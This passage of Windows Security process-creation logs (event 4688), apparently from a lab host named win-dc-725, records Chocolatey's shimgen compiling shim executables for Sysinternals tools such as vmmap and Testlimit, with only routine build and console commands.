token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246952 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc64 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf84 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246951 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf84 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd2c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\vmmap64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_7080\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_7080\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_7080\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_7080\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_7080\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246950 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x618 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd2c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246949 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd2c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\vmmap64.exe" --output="C:\ProgramData\chocolatey\bin\vmmap64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\vmmap64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246948 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa1c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc2c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES187F.tmp" "c:\ProgramData\chocolatey\bin\CSC78FCFEE2692A4712AF5A804DD7384DB1.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246947 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x468 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc2c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246946 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc2c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x360 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\vmmap.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_4736\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_4736\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_4736\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_4736\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_4736\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246945 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5a8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x360 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246944 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x360 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\vmmap.exe" --output="C:\ProgramData\chocolatey\bin\vmmap.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\vmmap.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246943 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x30c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x46c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1795.tmp" "c:\ProgramData\chocolatey\bin\CSCA31ED4D7E85F470E92BCEF2846E5B7E7.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246942 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x46c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246941 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x46c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf20 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Testlimit64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_2549\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_2549\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_2549\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_2549\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_2549\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246940 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x86c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf20 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246939 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf20 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Testlimit64.exe" --output="C:\ProgramData\chocolatey\bin\Testlimit64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Testlimit64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246938 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe10 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES16BA.tmp" "c:\ProgramData\chocolatey\bin\CSC1C94A3D8B71454F8A8B83A4EC29C4C.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246937 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x42c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe10 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246936 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe10 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xab4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Testlimit.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_0362\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_0362\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_0362\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_0362\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_0362\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security 